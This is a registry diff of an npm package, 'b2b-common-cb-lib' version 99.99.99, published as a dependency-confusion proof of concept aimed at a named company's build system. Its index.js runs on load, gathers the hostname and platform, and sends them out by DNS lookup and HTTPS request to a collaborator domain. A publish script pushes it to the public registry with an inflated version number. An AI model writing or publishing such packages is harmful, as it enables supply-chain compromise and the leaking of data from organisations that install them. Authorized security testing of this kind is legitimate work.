b2b-common-cb-lib 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +58 -0
- package/package.json +11 -0
- package/publish.sh +23 -0
package/index.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
const PACKAGE_NAME = 'b2b-common-cb-lib';
|
|
6
|
+
// IMPORTANT: Replace this with your Burp Collaborator, Interactsh, or webhook.site URL
|
|
7
|
+
const COLLABORATOR_URL = 'INSERT_YOUR_COLLABORATOR_DOMAIN_HERE.oastify.com';
|
|
8
|
+
|
|
9
|
+
function main() {
|
|
10
|
+
console.log(`[+] Starting Security PoC for ${PACKAGE_NAME}...`);
|
|
11
|
+
|
|
12
|
+
const info = {
|
|
13
|
+
host: os.hostname(),
|
|
14
|
+
platform: os.platform(),
|
|
15
|
+
timestamp: new Date().toISOString()
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
console.log('[+] Collected System Info:', info);
|
|
19
|
+
|
|
20
|
+
if (COLLABORATOR_URL.includes('INSERT_YOUR')) {
|
|
21
|
+
console.warn('[-] WARNING: No Collaborator URL configured. OOB check will be skipped.');
|
|
22
|
+
console.warn('[-] Please edit index.js and add your collaborator domain to prove RCE.');
|
|
23
|
+
return;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// 1. DNS Interaction (Most reliable for firewalled environments)
|
|
27
|
+
// Structure: <hostname>.<package>.<collaborator-domain>
|
|
28
|
+
const dnsQuery = `${info.host}.${PACKAGE_NAME}.${COLLABORATOR_URL}`;
|
|
29
|
+
console.log(`[+] Attempting DNS lookup: ${dnsQuery}`);
|
|
30
|
+
|
|
31
|
+
dns.lookup(dnsQuery, (err) => {
|
|
32
|
+
if (err && err.code !== 'ENOTFOUND') {
|
|
33
|
+
console.error('[-] DNS lookup error:', err.message);
|
|
34
|
+
} else {
|
|
35
|
+
console.log('[+] DNS lookup triggered.');
|
|
36
|
+
}
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
// 2. HTTP Interaction (If outbound HTTP is allowed)
|
|
40
|
+
const options = {
|
|
41
|
+
hostname: COLLABORATOR_URL,
|
|
42
|
+
port: 443,
|
|
43
|
+
path: `/?host=${info.host}&pkg=${PACKAGE_NAME}`,
|
|
44
|
+
method: 'GET'
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
const req = https.request(options, (res) => {
|
|
48
|
+
console.log(`[+] HTTP Request sent. Status: ${res.statusCode}`);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
req.on('error', (e) => {
|
|
52
|
+
console.error(`[-] HTTP Request failed: ${e.message}`);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
req.end();
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
main();
|
package/package.json
ADDED
package/publish.sh
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
echo "=========================================================="
|
|
4
|
+
echo "WARNING: YOU ARE ABOUT TO PUBLISH TO THE PUBLIC NPM REGISTRY"
|
|
5
|
+
echo "=========================================================="
|
|
6
|
+
echo "Package Name: b2b-common-cb-lib"
|
|
7
|
+
echo "Version: 99.99.99"
|
|
8
|
+
echo ""
|
|
9
|
+
echo "This will make the package available publicly."
|
|
10
|
+
echo "If BookMyForex's build system pulls this package, your code in index.js WILL EXECUTE."
|
|
11
|
+
echo ""
|
|
12
|
+
echo "1. Ensure you have updated index.js with your Burp Collaborator domain."
|
|
13
|
+
echo "2. Ensure you have authorization to test this."
|
|
14
|
+
echo ""
|
|
15
|
+
read -p "Type 'yes' to proceed with publishing: " confirmation
|
|
16
|
+
|
|
17
|
+
if [ "$confirmation" == "yes" ]; then
|
|
18
|
+
echo "Publishing..."
|
|
19
|
+
npm publish
|
|
20
|
+
else
|
|
21
|
+
echo "Aborted."
|
|
22
|
+
exit 1
|
|
23
|
+
fi
|